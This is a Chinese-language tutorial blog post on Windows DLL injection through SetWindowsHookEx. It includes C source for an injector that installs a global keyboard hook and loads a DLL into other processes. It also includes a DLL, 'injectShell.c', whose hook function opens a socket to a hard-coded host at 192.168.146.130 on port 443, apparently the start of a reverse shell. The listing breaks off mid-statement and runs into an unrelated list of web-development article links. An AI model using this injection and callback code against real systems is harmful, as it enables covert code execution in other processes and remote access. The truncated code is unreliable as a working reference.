DLL注入的目的是将代码放进另一个进程的地址空间中,所以要怎样才能实现DLL注入呢?
其实在Windows中有好几种方法可以实现,这里我们首先尝试通过“SetWindowsHookEx”创建钩子(hooks)来实现。另外如果你对这方面很感兴趣,可以参考文章最底下的相关文献,这些文献包含大量的代码以及其他有用的信息。
Windows Hooks
首先我们需要理解Windows的hook机制和API函数SetWindowsHookEx。Hook 机制允许应用程序截获处理窗口消息或特定事件。而钩子又可以分为多种,例如WH_KEYBOARD和WH_MOUSE,这两种钩子可以分别用来监视键盘和鼠标的消息。同样也存在这些钩子的低版本。要想理解Hook机制,必须要清楚的是每一个Hook事件的发生都有一个与之相关联的指针列表,称之为Hook链表。这个链表存在一系列的子进程,并且伴随着事件而执行。
下面是Hook子程的语法,来源MSDN:
使用SetWindowsHookEx实现DLL注入
使用API函数SetWindowsHookEx()把一个应用程序定义的Hook子程安装到 Hook链表中。这是该函数的语法,来源MSDN:
idHook是Hook的类型,lpfn是Hook子程的地址指针,hMod是应用程序实例的句柄,最后dwThreadId标识当前进程创建的线程。为了要让lpfn指向子程,首先通过LoadLibrary函数加载DLL文件至exe文件的地址空间中。然后通过GetProcessAddress获得所需函数的地址。最后调用SetWindowsHookEx,等待我们设置好的事件发生或者创建一个类似BroadcastSystemMessage的消息服务。一旦事件发生,Windows将会加载DLL至目标进程的地址空间中。
代码
下面的代码来源这里,首先通过LoadLibrary函数将DLL加载至可执行程序中。调用GetProcessAddress函数从DLL中获取注入地址。最后设置一个全局钩子(参数设置为0表示监视全局线程),监视程序。
injector.c
#include int main(int argc, char* argv) { /* Loads inject.dll into the address space of the calling function, in this case the running exe */ HMODULE dll = LoadLibrary("inject.dll"); if(dll == NULL) { printf("Cannot find DLL"); getchar(); return -1; } /* Gets the address of the inject method in the inject.dll */ HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "inject"); if(addr == NULL) { printf("Cannot find the function"); getchar(); return -1; } /* Places a hook in the hookchain for WH_KEYBOARD type events, using the address for the inject method, with the library address */ HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0); if(handle == NULL) { printf("Couldn't hook the keyboard"); } printf("Hooked the program, hit enter to exit"); getchar(); UnhookWindowsHookEx(handle); return 0; }
injectShell.c
#include #include #include INT APIENTRY DllMain(HMODULE hDll, DWORD Reason, LPVOID Reserved) { FILE *file; fopen_s(&file, "C:\temp.txt", "a+"); switch(Reason) { case DLL_PROCESS_ATTACH: fprintf(file, "DLL attach function called.n"); break; case DLL_PROCESS_DETACH: fprintf(file, "DLL detach function called.n"); break; case DLL_THREAD_ATTACH: fprintf(file, "DLL thread attach function called.n"); break; case DLL_THREAD_DETACH: fprintf(file, "DLL thread detach function called.n"); break; } fclose(file); return TRUE; } int inject(int code, WPARAM wParam, LPARAM lParam) { WSADATA wsa; SOCKET s; struct sockaddr_in server; char *message; printf("\nInitializing Winsock..."); if(WSAStartup(MAKEWORD(2,2),&wsa) != 0) { printf("Failed. Error Code : %d", WSAGetLastError()); return(CallNextHookEx(NULL, code, wParam, lParam)); } printf("Initialized. \n"); if((s = socket(AF_INET, SOCK_STREAM, 0 )) == INVALID_SOCKET) { printf("Could not create socket : %d", WSAGetLastError()); } printf("Socket Created. \n"); server.sin_addr.s_addr = inet_addr("192.168.146.130"); //ip address server.sin_family = AF_INET; server.sin_port = htons( 443 ); if(connect(s, (struct sockaddr *)&server, sizeof(server))关注打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?